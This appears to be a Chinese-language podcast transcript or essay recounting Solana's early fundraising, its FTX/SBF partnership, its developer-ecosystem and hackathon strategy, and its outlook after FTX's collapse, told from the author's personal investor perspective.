当时就来中国融资。我还清楚地记得，从北京到上海到首尔，他们在各个地方办活动，给大家讲 Solana 是什么，为什么要做这个项目。外国项目在融资的时候通常是很忙的，即使是晚上也可能尽量安排和一些投资人培养感情。 Anatoly 和 Raj，还有首席科学家 Eric Williams，以及他们早期在 Discord 或在 Telegram 上面招的一个社群运营 Dom，现在也是元老级别的人物了，都在这次亚洲融资之旅中。其实在中国、韩国和日本他们都尝试融资，但是都不太顺利，应该说是四处碰壁，一方面也是因为他们的故事没这么精彩，中国投资人并不买账。于是很多时候他们只能喊上为数不多在亚洲认识的朋友在所在的城市喝酒。 当时很多人都讲这种高性能公链的故事，到头来都一地鸡毛，所以大家非常不相信。其次也是因为熊市，大家的钱也都比较谨慎的揣在兜里，我那会儿还没有去 Multicoin Capital 工作，白天很多时候在网上冲浪学习，然后海外项目来中国路演的时候聊得来的，我基本上都会见一见，所以有很多个晚上都是和 Raj，Anatoly 一起喝酒度过的。我印象很深的是，Anatoly 比较喜欢喝纯的威士忌。很显然，如果他们能找到别的投资人愿意搭理他们，他们可能也不会经常和我一直聊天。 算是和团队相识于微时，我对于 Solana 整个认知是比较感性。我肯定没法做到绝对的公正，只能提供一个我视角里的故事。 所以我跟大家从我角度聊聊 Solana 是怎么起来的，和一些起起伏伏。首先我觉得第一个话题是很多人关心的 Solana 从 0 到 1 做对了什么事情。 谈谈他们朴素的开端，Solana 从来就不是一个含着金汤匙出生的团队。对比目前比较活跃的，或者有大家都在讨论的一层智能合约平台，也就我们说的公链。Solana 可能是历史上一级融资，包括私募加公募金额最少的非 EVM 兼容的公链团队。 做这个节目的时候，我突然想起来 Polygon 团队，其实那时应该是比 Solana 更难。难到什么程度？18 年的时候他们最开始的创始人 JD 出去融资，那时以太坊侧链应该说是遍地开花，很多人也质疑他们的安全性，觉得毫无保障，再加上这个团队平平无奇。JD 英语有很浓的印度口音，甚至没有人要投他。所以他们在上 Binance Launchpad 之前，就只有 Binance Labs 和 Coinbase Ventures 投资了他们，他们想万一做成了呢，现在看来这个万一确实是成了。这两家加起来投了可能不到 100 万美元。 后来我在 Messari 上面一查，他们公募的 500 万美元出让了 18 个点的通证，难以想象，因为股权融资和币权融资差别非常大，所以任何一个项目只跟一家机构去出让 18% 通证，那绝对是惊天地泣鬼神的。有一些项目它可能整个团队加起来就只有 15%。当然了，这个 18% 通证是给 Binance 上的交易者的，所以也算是散给了社区，但在今天看来是几乎不可想象的。 还有一些 Rollup 团队，比如说 Optimism，比如说 StarkWare，他们都融了挺多钱的，因为他们具有正统性，这个正统性挺有意思的。这些侧链团队，或者是一些 Rollup 的团队，他们都没有给以太坊网络直接的价值捕获，所以某种意义上也可以说他们是一层智能合约平台，当然是因为他们都背靠二层网络。他们的这个叙事是这样讲的，那我们就不在这赘述了。 因为聊到这个话题我就去找了一些数据，是 Solana 和其他的仍然活跃的公链的对比，大家就可以参考一下，也是从 Messari 找到的。 首先我们看 Avalanche 雪崩协议，它 2019 年 2 月第一轮在深熊的时候融资了 600 万美元，他的创始人叫 Emin Gun Sirer，他在密码学界比较富有生命力。2018 年 11 月是上个周期的深熊，比特币跌到 3000 点，但是过了三个月他们又能够融到 600 万美元，还是挺厉害的。然后 2020 年六月第一波的 DeFi Summer 开始之前，他们又融资了 1200 万美元，这个都是私募的。在一个月之后，他们公募获得了 3750 万美元，总共一级市场募资是 5550 万美元。 然后 Near 团队其实在 17 到 19 年的时候，他们在中国非常活跃，他们 2017 年第三季度，那时还没到牛市顶峰之前，他们就已经融资了 81 万美元，然后 18 年第三季度融了 288 万美元，19 年第一季度融资 848 万美元，然后同一年的第二季度融资了 37. 5 万美元，加起来全部的融资额是 1200 万美元。2020 年初他们又完成了超过 2100 万的 A 轮融资。 当后来在公募的时候遇到了一些技术问题，公募加起来超过了 3000 万美元，因为他没有一个非常具体的融资记录，但是加起来是超过 3000 万美元融资，所以总共私募和公募是 6300 万美元融资。 再看看 Solana，18 年的 4 月完成了 317 万美元种子轮，同一年的 6 月完成了 1260 万美元的融资，19 年 7 月有一个叫做 Validator Sales 验证者节点的募资是 570 万美元，2020 年 2 月他们在公募之前完成了 230 万美元融资，比公募的价格还贵一点。后来他们完成了 176 万美元的融资。所以私募+公募的募资他们融到了 2553 万美元。对比一下 Near 团队融资 6300 万美元和 Solana 团队融资 2553 万美元。比较逗的我觉得是什么？就是他们在融资信息里面还写了每一轮融了多少比特币和以太坊，就有非常浓厚的上个周期的特征。 我估计 Near 和 Avalanche 里面可能也有不少同类情况，因为 Near 是 2017 年就开始融资，然后 Solana 2018 年，但 Near 的融资信息没公布，Solana 比较实在，融资信息都公布了。ICO 的时代其实大家都比较习惯拿以太坊比特币融资，融资的标的是在以太坊之上的应用类协议。其他的智能合约平台团队，他们可能也会效仿，即使他们并不是在以太坊之上搭建的。那个时候很多团队没有财政管理的概念，融到钱他们就放着，到熊市的时候以太坊比特币会大跌。因此我感觉虽然他明面上写着融资了 2500 多万美元，但实际上到他们真用钱的时候应该是没有这么多的。 Solana 的几个联合创始人，都属于非典型的区块链项目的创始人，和当时 17 年 18 年比较多投资机构追捧的一些项目相比，Solana 团队都是从硅谷大厂出来，中年创业开始创业的团队。Anatoly 都已经有 3 个孩子了，他们既没有像 V 神这种非常厉害的天才少年架构师，也没有非常闪耀的背景，也没有一些拥有非常强的学术背景，比如说 Avalanche 的创始人都属于这种。 从团队背景来看，他们是被很多投资人当做二三流的来看待的。这一点和前面提到的 Polygon 团队有一些相似的地方。Anatoly 是一个非常实在的人，他不爱说大话，他在线下是属于害羞的类型。Raj Gokal 在成为 COO 之前对于市场营销讲故事一无所知。在最早期的时候，有一些投资人还有他们的员工私下都会怀疑 Raj 成为项目第二重要角色的能力，一些早期的大投资人甚至试图观察他，觉得如果能力不行的话，有必要要求团队把它换掉。当然了通证的融资不存在治理权的事情，就没有所谓的董事会席位这种说法。更多的是人和人之间纯粹影响力，投资人施压，团队听不听当然就也无所谓了。 Solana 团队在中国融资那段时间，还去找了各种各样的矿池，给这些矿池送显卡，矿池是为像比特币以太坊这种 POW 的币挖出来之后需要他们对于区块排序。他们找的矿池里面包括了当时世界上最大的以太坊矿池。当然现在这个矿池已经依照相关的法律法规关停了。后来那个矿池的人就跟我讲，他们尝试跑了一下 Solana 的节点，但他们办公室的 WiFi 都崩溃了，所以就作罢了，后面没有参与这个验证者节点。 还有很多人会说 Solana 这套历史证明 Proof of History 是为了噱头，强行创造了一种权益证明和工作量证明以外的这种新共识算法。理解的人知道，其实历史证明并不是一个新共识算法。Solana 的共识算法仍然是权益证明 Proof of Stake，历史证明主要的任务还是解决在高吞吐量的情况下，交易时间戳在链上的确认问题。 其实本质上 Solana 节点上所有的事件交易都是使用 SHA256 哈希函数进行哈希处理，然后这个函数接受了一个一个输入以后会产生一个非常难以预测的独特的输出，Solana 链在获取交易的输出把它作为下一次散列的输入，这个散列的过程确认了一个连续的加密交易链，或者说一个明确的链上可验证的交易顺序。用通俗的话来说就是 Solana 是先出块儿后共识。当然因为今天播客目的不是为了讨论 Solana 的技术优劣，所以在这儿作为背景知识简单讲述，主要是想说明当时大家对于 Solana 的一系列的叙事是不太信任的。 本来 Anatoly 觉得这种叙事是一个伟光正（伟大，光荣，正确）的事情，但实际上这种高性能公链的故事可能在亚洲已经被听烂了，觉得这是就是炒作。很多人会认为本来就没有多少应用能够用到区块链，所以高性能的公链只是伪命题。当时其实 Solana 的价格是非常低的，放到今天都会觉得难以置信，Solana 第一轮估值是 2000 万美元，然后第二轮是一个亿，验证者节点那轮是 1. 12 亿美元估值，最后一轮战略轮私募应该是 1. 22 亿美元。 2000 万美元的估值是什么概念？在 2021 年底，现在最近很火的 Aptos，不是币权融资而是股权融资就已经在 10 亿美元，那它币权的映射可能就更贵了，因为它不是 1: 1 的，如果按照股权的价格都已经是 50 倍了。2000 万对比 10 个亿，顶多可能就是 Aptos 主网上线从融资的这个时间点开始算，时间的确是短一点，但是也短不到哪去。 我觉得另外一个对比的参考系就是 2022 年市场上融到资但是啥都没有的那些种子轮的项目，他们的估值都还在 1500 万元美元左右，当然区块链行业的溢价，毫无疑问仍然是非常显著的，跟普通的股权融资，传统的互联网项目等相比而言。其实在任何一个时间点做智能合约平台的项目估值 2000 万真的是不多见。 我做了这么多铺垫，我想说的就是 Solana 的开头并不是非常漂亮，他们从资本市场的角度能赢的几率不太显著。更加不用说 Solana 早期投资人没有几个特别厉害的，当时 Multicoin 没有人知道他是谁，在美国是二流，其他的地方大家都不认识他们。 那么最早的时候 Solana 到底做对了什么呢？这一点可能是很多人非常关心的。我自己觉得很重要的一个点是，创始人的 Ego 很小，整个团队他都是非常务实的风格，他们没有太多的执念，没有觉得非要有一套奉为圣经的东西，就什么能够帮助项目获得更多关注、认可使用，他们就尝试什么，他们不怕丢脸，失败再来。 其次就是非常快的上了主网的 Beta，非常快速的上了很多中心化交易平台。2019 年 10 月份的时候，在大阪第五届以太坊的 Devcon，Anatoly 连续四天每天都站在开发者大厅，他穿戴着 Solana 衣服和帽子，然后主动跟别人打招呼，跟来往的人介绍 Solana，当时来往的人几乎没有几个人理他。有一天我跟他在大厅聊了一个半小时，没什么人来问他问题，也没有人来打招呼。他知道这样的宣传方式效率很低，但也不在意。他说反正这行业本来就没几个人，能聊上一个是一个，能聊一个开发者是一个开发者。 在 2019 年验证者节点募资结束以后，Anatoly 和 Raj 坚持要集中精力开发先上主网。即使带着 beta 的标签也要争取尽快上线。Multicoin Capital 的联合创始人 Kyle Samani 当时给他们挺多压力，说你们必须尽快发币，并且上交易平台。 在后来的一些公开谈话里面，Kyle 承认了他自己当时对于事情优先级的判断不一定是最准确的。他承认 Anatoly 坚持先上主网的决定才是最正确的。但他当时积极推动 Solana 上交易平台的原因，认为只有筹码广泛分布在很多人的手里，所谓的人在车上，社群开始不仅作为一种技术，而是作为一个标的被讨论，它才能够让 Solana 形成共识。 就好像 Synthetix 的创始人 Kain Warwick，他在一个播客里提到选择在以太坊上面开发，是因为他手里有早期参与以太坊的筹码，他有筹码，所以屁股决定脑袋很正常。那其实在现在这个时间点回头看两边坚持都没错，然后甚至可以宣称说这两点是奠定 Solana 基础最重要的几步棋。 先上主网带来的结果就是，当 FTX 的创始人 Sam Bankman-Fried 四处找合作公链的时候，只有 Solana 接住了，快速上线交易平台，在二级市场换手。一方面帮助 Solana 在 2020 年积累了市场关注，但另一方面也让更多人拥有了 Solana 这个通证，积累了它的共识。Kyle 有句非常有名的话—你的市值就是你的市场宣传（Your marketcap is your brand）。 挺多的西方项目，他会声称自己不在意价格，他们就觉得谈钱就不技术了。但是 Anatoly 和 Raj 都非常在意盘面，他们看到过去的一些反例，觉得如果盘面一直阴跌的话，参与在生态里的人他们都会很萎靡。因为毕竟这跟成本相关的，因此才有了他们在公募之前跟所有私募投资人商量，把各个轮次的解锁时间改到同一时间的操作，他们想要死就死一次，死透了就不需要面对这种钝刀子割肉每个月的解锁。那这一步棋其实后来在一些核心机构的共同的助力之下，应该说是成为了资本充分博弈的经典案例。 上面说的所有的这些其实是想给听众一些背景信息，因为绝大多数的人可能都是从 FTX 决定深度参与 Solana 之后才开始关注的。大家会觉得 Solana 如果不是幸运的抱住了 FTX 这个大腿，一定走不到今天。这个观点我觉得是有相当的合理性的，但我们也不能忽视这所谓的幸运的背后的一些细节。 说到这个其实挺多人都非常好奇，当时 FTX 的创始人 Sam Bankman fried（SBF）和 Solana 是怎么互相选择的。其次就是 Solana 修改了解锁后，市场上面各种各样参与者的精彩的博弈。 那回到 2020 年 DeFi summer，2020 年的 5 月开始，一些以太坊上面比较早期的去中心化金融协议都开始暴涨，最典型的就是早年最开始是 AAVE，今天他们团队也做了个社交协议 Lens protocol，市场上绝大多数的人或许没有感觉，但是 SBF 很关注这个资金流。他那时候就已经意识到了去中心化金融的魔力和动能，他当时就想寻找一个合适的公链，他自己想做一个订单部交易平台。 如果有一些听众去问 Polygon，Avalanche 和 Near 的基金会核心成员，你就会了解到当时 SBF 跟市场所有只要有点名气的公链都聊过一遍，而他都是主动找上门的。很明显 Solana 不在这个有名气的公链的一列。然后市场上的传言当时是 FTX 对 Near 最有兴趣，但是他们的主网上线还需要一段时间，但 SBF 不想等。Multicoin 的 Kyle 知道了这个消息后想办法让别人给 SBF 介绍了 Anatoly。2020 年的 7 月 16 号，北京凌晨 2 点多，发生了太重要的事，所以我一直记得这个时间点。Kyle 给我们打字直播：「我在跟 Sam 打电话，一开始只约了半个小时，但这已经变成了一个 3 个小时的会，Sam 这边已经是 3 点（因为他那会在香港），然后现在还将继续下去。Sam 非常认可 Anatoly 的愿景，就是跑一个高速纳斯达克的愿景，他正在让他的工程师也参与调查，然后还问了一些技术问题。」 Kyle 一边飞速打字非常激动，我甚至能感受到他手在颤抖的那种状态。第二天 Kyle 就用他平 1. 5 倍的语速告诉我说，Anatoly 告诉他，他们的夜里凌晨的时候，也就是香港时间白天，Solana 链上有大量垃圾交易攻击，后来验证了，就是 Sam 让他的工程师发的，为了测试 Solana 公链的性能。但是 Solana 扛住了。 就在同一天，SBF 决定投资 Solana，当然他的交易条款我不清楚。几天之后 FTX 自己孵化的去中心化订单簿撮合引擎—Serum 的设计就诞生了。 当天夜里，Kyle 在床上翻来覆去睡不着觉，太激动了，写出了 Serum 的投资备忘录，那轮 Serum 所有人都觉得疯了，但是相信的人是真信。所以即使在那个时候，Kyle 是一个对于估值非常敏感的人，他都决定说要梭哈，就非常夸张。然后他在 Slack 上面飞速的给我们打字：「I was just so excited about all these that are going to happen. For the whole week, I couldn't fall asleep. Solana is exactly designed for things like Serum, and they have the liquidity. This is just huge.」 补充一个背景知识给咱们听众，就是 Multicoin 对于链上订单部交易平台是有强烈的痴迷的，是因为常说的基于撮合的订单部交易所模式，在流动性允许的情况下，资金效率是最高的。 如果大家去看 Multicoin 网站上的投资组合，能看到这些年他们做了很多订单簿链上金融投资的尝试，在没有足够的流动性支持情况下，这东西的确是有点难做。引用一下三体里面大使和汪淼说的话，「皮裤套棉裤必定有缘故，不是棉裤少了棉，就是皮裤少了毛」。Solana 的吞吐量搭配 Alameda 的流动性，这才算是理论上齐活了。 那激动人心的时刻过去了之后，Solana 仍然在 2021 年 3 月面对着天量代币解锁的压力，所有私募投资人代币一次性解锁，最终是一个参与者心态的博弈，这个调整倒逼没有信心的私募投资人在解锁之前自己主动换手。根据我通过很多第三方 OTC 了解到的一些不完整的信息，当时换手的二手合同基本成交价都在几毛钱到 2 美元之间一个 SOL。我的猜测是 SBF 也是基于这一点很有底气的说出 3 美元以下 SOL 可以全部卖给他。 更实际的说，其实当时解锁前流通市值是非常低的，期货的资金费率是负的非常高。意思是空军要给多军支付每 8 小时支付很高的费用，等价格拉起来了之后，这些多空军就成了多方的燃料，意思是它被爆了，就会更进一步的让现货涨起来，因为它在市场价直接清算了。 但涉及这些交易的内容我们就不在这儿过多展开了。那 Solana 获得第一波的势头的确适合 SBF 和 FTX 参与密不可分。这里说的参与分为两种，一种是 SBF 会带头在上面孵化项目，高举旗帜告诉大家他们也站在了 Solana 的背后。这个确实给了不少人信心，除了 Serum 外，FTX 和 Alameda 也在孵化其他项目，例如 Solana 上面第一个自动做市的去中心化交易平台 Raydium，第一个借贷协议 Oxygen，还有上面的托管桥 Sollet。当然 Sollet 本身也是一个钱包，它们全都在 FTX 上面进行了公募的代币发行，从做项目的角度来说，这些都不能算是太成功。Raydium、Oxygen 很快都被体验更好的项目取代了。但在早期，从宣传 Solana 的角度，作为一个可选择的开发生态的角度，他们起到了一定的积极作用。 此外就是很多钱包和交易平台原本是不愿意接 Solana 的，很简单，因为如果要接非 EVM 的公链，需要花费的额外工程成本是比较高的。说家不确定 FTX 是否会和 Solana 的合作达成之前，亚洲的钱包和交易平台都特别持观望态度。Solana 很难获得他们的支持，因为花了资源后，生态又没做起来，那不是亏本了？但他们看到 FTX 迅猛的行动以后，都纷纷转变了态度。 飞轮从 0 到 1 是很难的，但是一旦有人给飞轮开了这个头，往下转就变得越来越容易。但更隐形却更致命的一点是 SBF 给 Solana 带来的正统性。需要先花一点时间聊聊怎么理解这个正统性。在西方的区块链技术圈子里，有一些比较有意思的身份证认同和政治正确，一开始出现的是比特币最大者，或者叫做比特币原教旨主义，这些人都是特别早就进入了加密生态圈，他们有着很强的加密精神。 随着 Vitalik 带来的图灵完备、可以执行智能合约的以太坊以后，又出现了以太坊的最大者和以太坊元教旨主义。比特币原教旨主义有一套站位更高的论调，比较典型的就是比特币有固定上限，而以太坊无限增发，或者说以太坊有私募等。很明显，抛开功能和目的去谈优劣，那都是耍流氓。但这就是 2016 年 2017 年，不算奇怪的现象，这主要存在在早期加密精神的拥趸之间。 但到了以太坊站稳脚跟以后，自然就有人质疑以太坊的性能不足以支撑万物皆可上链的需求，他们需要扩容，很明显很多东西就不需要上链。但是这些以高性能扩容解决方案的出现，或多或少主动或被动的会被归类为以太坊杀手，就变成了一个政治上对立的阵营。 就在以太坊性能受到质疑的时候，主动的把这个杀手的帽子一戴，这些公链的旗帜就鲜明了，属于我比以太坊更高更快更强。但同样的，当泡沫消散褪去了以后，大家发现高性能供应链的噱头一地鸡毛的时候，以太坊杀手这个称呼就即刻变成了贬义词，扩容公链的江湖地位立刻矮人一头。大家纷纷表示还是以太坊更好，以太坊原教旨主义的道德制高点就站住了。 有意思的一个现象就是各种各样的扩容方案，在各个时期，他们面对截然不同的社区情绪和政治，正确采用的叙事也在不断变化。最典型的就是 Polygon 和 Near。Polygon 在早期讲的是侧链的故事，就是我能做到以太坊做不到的，但是随着江湖论调变成侧链是以太坊吸血鬼，侧链本质上是把能进入以太坊网络的价值捕获转移到他们的网络，这一类的话术之后。Polygon 非常聪明，他们就开始对于自己是侧链这个事实避而不谈，然后转向说自己打算作为一个二层网络深入服务以太坊社区。Near 也是用类似的逻辑，他们创始人心气高，在融资的时候针对以太坊一顿批判，然后把自己以太坊杀手的牌坊算是立住了。 当然在 2020 年 DeFi Summer 大热了之后，Near 发现还是说自己是二层网络比较好，容易吸引以太坊社区和流动性。但事实就是他俩谁都不算二层网络，这至少可以装作二层网络来跟以太坊套近乎。但对于「高性能公链」的这个 Solana 来说，他连以太坊虚拟机兼容都没有，以太坊杀手这个名字，不管他们愿不愿意，他们都得背。很长一段时间里，媒体还有舆论都会强加在他们头上。 其实在很多有影响力以太坊核心的开发者看来，Solana 就是不做好的。但是 SBF 开放包容、理想化、追求技术的这种人设，非常明显为缺乏正统性的 Solana 赋予了一些力量。也让很多讨厌 Multicoin 作为 Solana 最大投资人的人开始改变刻板印象。 就随着 SBF 公开支持 Solana 以后，不少原来号称自己是以太坊原教旨主义的投资人或者是看不上 Solana 的人开始动心。比如 ParaFi Capital 前合伙人 Santiago Roel Santos 就是一个典型的例子，他之前真的就是无脑吹以太坊，但后来开始愿意认可 Solana 了。最让我佩服也是一个比特币原教旨主义者 Lily Liu 决定加入 Solana 去做基金会的主席。Raj 和 Anatoly 是怎么说服她的我真的不是很清楚，但是这一个里程碑是可以说改变了 Solana 的基本面，因为很多老的加密圈的和硅谷人都非常认可 Lily，虽然她在社交网络上面的粉丝并没有那么多，但是很核心的人都非常认可她，因此他愿意迈出这一步，让很多人会觉得自己需要重新审视一下 Solana，问一下会不会是自己之前太傲慢了。   人和人破圈的事儿其实是非常微妙的，有时候还是很多时候还是靠某几个人的影响力，突然就能让更多的人放下成见去重新审视一个东西。 但 Solana 更大的开发者生态是怎么做起来的？毕竟开发者生态即使是花钱，也得用正确的方式去花，并不是说有钱就一定能把开发者生态有机的做起来。以太坊上面的 Solidity 原生开发者其实大多数都没有 Rust 的能力，因此 Solana 将目光转向了科技公司大厂的开发者。但 Solana 也明白要吸引这些人，需要这事儿非常赚钱，才能让他们觉得这个机会成本是值得的。因此当时他们在这些人的圈子里面应该是花了大功夫的，包括从这些大厂里面去招一些核心开发者。 其次就是当时有一批波卡的 Rust 开发者转向了 Solana，有趣的是大家一直期待的天王级公链波卡上线一而再再而三的推迟。其次也是一些小一点开发者觉得自己没有资金能力去参与卡槽拍卖，那不如尝试一个没有资金门槛而且还可能赚钱的，有大金主支持的 Solana 生态。 就在这样子的背景下，Solana 推出了精心策划的黑客松，也是一个相当经典的案例。他们第一期是 2020 年 10 月做的，召集了全球各地的投资人和创始人作为评委。印象中比较深刻的是 AAVE 的创始人 Stani Kulechov 也在，因为其他的都不是以太坊生态的，相比于位于硅谷的竞争对手 Compound，AAVE 其实是比较包容的心态。 第一次奖池不算特别大，不到 20 万 USDC。对比看看今天的以太坊纽约黑客松，他们有来自全球各地非常有名的项目赞助，总奖金池子也只有 50 万美元。Solana 第一次做就有 20 万美元的奖金，应该也算不错的。第二期是 2021 年 2 月份，Solana 和 Serum 专门针对去中心化金融的项目做了一个黑客松。我觉得很有趣的一点是 Solana 和 Serum 团队写了一个非常详细的创意列表，上面包含了各样他们认为 Solana 上面需要但是还没有的工具和应用，鼓励大家基于那个表进行开发，然后还给独立的参赛者提供撮合团队的机会。 那个表我觉得写得真的太详细了，这个时间点把握的很好，他们正好也是投资人解锁，私募人解锁的时间点，所以应该说是这种利好的消息和私募这两件事情对冲的很好。然后等到 2021 年 10 月，第三次黑客松奖池已经到了差不多超过 100 万美元了。除了 Solana 基金会，那这一年里面各个在 Solana 生态里面长出来的项目，他们都纷纷参与了赞助这个奖池，参与的评委也是盛况空前。在这一届的黑客松开始之前，这种独立开发者们已经充分相信了我只要参加 Solana 黑客松拿到名次，就能够同时广泛获得社区关注以及拿到投资人融资。甚至其实在黑客松结束之后，Solana 跟每个获奖团队都送了开发者大会的门票，邀请大家到里斯本现场和开发者和投资人当面交流。 到这个阶段，Solana 在开发者生态里面所投入的巨大努力，可以说已经开始正向循环。然后到 2022 年就更加激进，他们在美国，欧洲，亚洲各个地方在不同的时间连续举办专门为开发者组织的短期快闪活动，他们管它叫做 Hacker House Series。 Solana 就让自己的核心开发者和商务人员飞到不同的城市，邀请当地的开发者还有感兴趣的投资人们去他们准备好的场地里面交流，现场答疑，还有商业拓展，甚至投资谈判。就在这个时候，此时此刻的 Solana 已经不再是 2020 年求着开发者来的那个小弟了，他现在扮演的更像是一个攒局大哥的角色，要保证来的每个人都吃好玩好，匹配到自己所需要的资源。 上面描述的这些发展听起来挺顺水推舟的，但事实上没有哪个公链会不重视黑客松，尤其是前面两期、三期黑客松，在还没有一个像样的生态之前，挑战是巨大的。Solana 商务的团队在早期贡献非常多，任何一个黑客松光靠自然流量参与，在飞轮转起来之前是非常难的。因此他们的商务团队需要想方设法去找到这些优秀的团队，甚至说服 Alameda Ventures 还有一些深度绑定的机构进行投资，或者是免费给这些团队介绍一系列的资源，来作为吸引这些团队统一在 Solana 上面开发的筹码。 还有一点，人们常常容易忽略的重要因素是 Solana 团队借助 FTX 的力量，先后让 USDC 和 USDT 认可和集成他们，SBF 亲自给 Anatoly 和 USDC 母公司 Circle 的 CEO Jeremy Allaire 拉群，在第一次会议的时候，他自己也亲自参与了，从 FTX 和 Serum 的角度答应了 Jeremy 第一时间支持 Solana。当然，Jeremy 自己本身也非常认可 Anatoly 的愿景，Tether 的 USDT 在第三世界国家渗透程度就不用多说了。当 Solana 公布 Tether 支持他们的那一天，Solana 当天直接暴涨 60 个点。 当一个公链有了稳定币，它上面的去中心化金融才便于更好的开展，才更容易吸引用户来使用这些金融应用，才会进一步激励开发者来这开发更多的应用。逐渐有了开发者和应用，有了稳定币，用户也并不是水到渠成的。除了关心 Solana 开发者生态是怎么做起来的，我相信还是有挺多人关心 Solana 怎么开始有人愿意用的，因为你有这个供给端，你没有消耗端其实也没有意义。有些人就会说，一个生态吸引的第一批用户往往是投机者，因此就是有开始赚钱的第一反应，比如说 Raydium 的打新等等，这一点是非常重要的。 这一点的重要性我并不否认，但事实上就大家会发现，因为 Solana 交易手续费非常低，因此链上资本热衷的那种流动性挖矿智能合约里通过有风险的存钱生出更多的钱的这种泡沫行为，在 Solana 上面是非常容易矿难的，也就是被资金高频率的挖提卖冲垮，一个矿从开始到结束就如果做得不好，很快就死掉了，甚至不到一天时间。 在我看来，最大的转折点之一应该是 Phantom 团队决定在 Solana 上面做一款好用丝滑的钱包。Phantom 团队的背景是以太坊老牌去中心化金融协议硅谷产品 0x，极简风格，相比于当时大家苦不堪言的 Sollet 这些更早一代的 Solana 钱包，它的确是让人耳目一新。在 Solana 上去中心化金融协议爆发的前夜，Phantom 横空出世，应该说是完美的接住了一波流量。钱包作为和协议交互的重要前端，它的用户体验极大程度上决定了接下来用户的行为。我甚至会觉得有没有办法培养出丝滑浏览器钱包，手机钱包，是一个公链获得大规模应用的决定性事件，那 Phantom 就是这个浏览器钱包。 然后其次转折点来自于 Magic Eden 的出现。在 Magic Eden 出现之前，Solana 完全没有真正意义上的 NFT 社区，所有的小图片都是仿以太坊上的东西。和 Phantom 类似，Magic Eden 核心团队也是硅谷谷歌背景，加上另外一个老牌去中心化金融协 dYdX，他们从上线到 Solana 市场，NFT 市场的市占率达到 90% 只用了不到两个月。差不多是在 2021 年的 Breakpoint 大会时期他们就已经做到了 90%。 他们有非常强大的商务和社区运营团队，可以说是将整个 Solana NFT 生态从 0 到 1 从无到有做了起来。在 Magic Eden 起来之前，Solana 上面的那些项目很多都是仿以太坊上的，没有真正意义上原生的创作者社区。 再来其实就是 STEPN 了。许多 Solana 上面从来没有接触过区块链的用户，他们都是通过 STEPN 注册了解到的 Solana。手机钱包是一个决定公链或大规模应用的事件。如果说 Phantom 是浏览器钱包，我觉得 STEPN 的手机钱包也算是很重要的一环。在 STEPN 500 万的注册用户里面，差不多三成是全新的圈外用户，就都不是说非 Solana 而是非加密圈的原生用户。有很多今天在 Solana 生态里面活跃的 NFT 用户也表示，自己接触 Solana 就是因为 STEPN 这款健身的 APP。 我也想通过这些观察试图回答另外一个问题，那就是 FTX 轰然倒下的今天，Solana 何去何从？ 其实这个问题聊到这儿，你可能已经知道我的答案了，Solana 大概率是不会死的，但它不会以原有的方式活。 2022 年 11 月 10 号，Solana 基金会在官方博客上面发了一篇澄清文章，里面提供了很多他们受到 FTX 破产和清算影响的一些细节，包括 Alameda 和 FTX 之前投资的 SOL，还有 Sollet 的托管跨链桥上面的资产等。 Solana 联合创始人之前 COO Raj 在 12 月 29 号在推特上面发了一段话，他说说过去这些年，我们的这个还是相当活跃和有富有激情的社区被一些短期短视的炒作的人影响了，那他们就像这种有害的病毒是需要被清理的。发烧当然是很痛苦的，但你会很开心，当它爆发出来，你知道他们也就很快会结束，这是最后的痛苦。那任何一个坏分子被这个洗出之后，其实都是在往更加去中心化之路上面走出的坚实一步。 但他最后说的那句话，我觉得虽然听起来是陈词滥调，但是放在 Solana 身上完全没问题，因为并不是任何一个东西把那个坏分子杀了就能再活过来，有可能你就完全死了。但是 Solana 应该是不会的，因为它经历了非常多的起起伏伏，即使从市场层面上换手也换了很多批了，然后再加上有机的开发者还是比较多，一个核心机构的倒下，或许可能成为它朝着更加去中心化的角度发展的一个重要契机，这肯定是非常痛苦，但是我觉得也是机会。 很多人就质疑说随着价格的跌落，这些验证者节点 Validators 开始解除质押，链的安全性都可能失去保障，小开发者肯定是很担心的，因为验证者节点的门槛是非常高的，普通开发者也不可能自己想跑节点就跑节点，这不现实。但从大开发者的角度来看，他们迁移的重新获客培养社区的这种隐性成本可能是更致命的。 比如说像 Magic Eden 或者是 STEPN 这样的开发者，他们其实可能会自己跑验证节点，努力让这条链真正成为公共的区块链。而对于一个智能合约平台，其实最重要的是开发者生态是否有机而自发，以及用户是否有社区认同感。 我前阵子看到硅谷的风投机构 Eletric Capital 公布了每年一度开发者研报。2022 年 12 月，也就是 FTX 倒下后的一个月，Solana 的活跃开发者是所有公链生态里面仅次于以太坊的，有 2082 个，和 2021 年同期相比增加了 83%。从 Solana 默默无名到炙手可热，FTX 和 SBF 以及大投资人在里面起到了非常关键的作用。但 2022 年初起始的路，或许 Solana 已经开始自己走了。 最后，我想跟大家分享一个小故事。2021 年底，在里斯本 Multicoin 在 Solana Breakpoint 开发者大会的旁边办了一个活动，请了自己的投资组合里面当时在葡萄牙的团队，那会是市场非常好的时候，整个屋子里充满了快乐的气息。我一转头，发现 Anatoly 自己一个人靠在角落里面，静静的看着大家聊得热火朝天，手里拿的还是纯的威士忌。他看见了我，然后肉眼可见的变得特别高兴。他走过来跟我拥抱，我说谁能想到就这么就 3 年了。他说，对，3 年了，老朋友都还在，实在是太好了。 参考链接 Messari 上的各公链融资情况： Polygon: https://messari.io/asset/polygon/profile/launch-and-initial-token-distribution Avalanche: https://messari.io/asset/avalanche/profile/launch-and-initial-token-distribution Near: https://messari.io/asset/near-protocol/profile/launch-and-initial-token-distribution Solana: https://messari.io/asset/solana/profile/launch-and-initial-token-distribution Multicoin Capital 投资组合：https://multicoin.capital/portfolio/ Solana 黑客松相关链接： 第一届黑客松：https://solana.com/de/wormhole-hackathon 第二届黑客松：https://solana.blog/2000-participating-in-solana-defi-hackathon-kicking-off-tomorrow/ Serum 团队做的 Solana 上需要被搭建的东西，供参加黑客松的人参考：https://serum-academy.com/en/serum-project-ideas/project-ideas/（该链接已失效） 第三届黑客松：https://solana.blog/solana-season-global-hackathon-with-1m-prize-and-funding-pool/ 第四届黑客松：https://solana.blog/katana-wins-out-of-568-projects-launched-in-massive-solana-ignition-hackathon/ 第五届黑客松：https://solana.blog/solana-riptide-hackathon/ ETH NYC 的奖池：https://nyc.ethglobal.co/#prizes Solana 基金会对于和 FTX / Alameda 相关联资产的澄清：https://solana.com/news/solana-facts-ftx-bankruptcy Raj 的推特：https://twitter.com/rajgokal/status/1608320254463348736 Electric Capital 的开发者报告：https://www.developerreport.com/  ( 12 min )
    速览九大风投基金链上持仓数据：ETH和LDO最受追捧
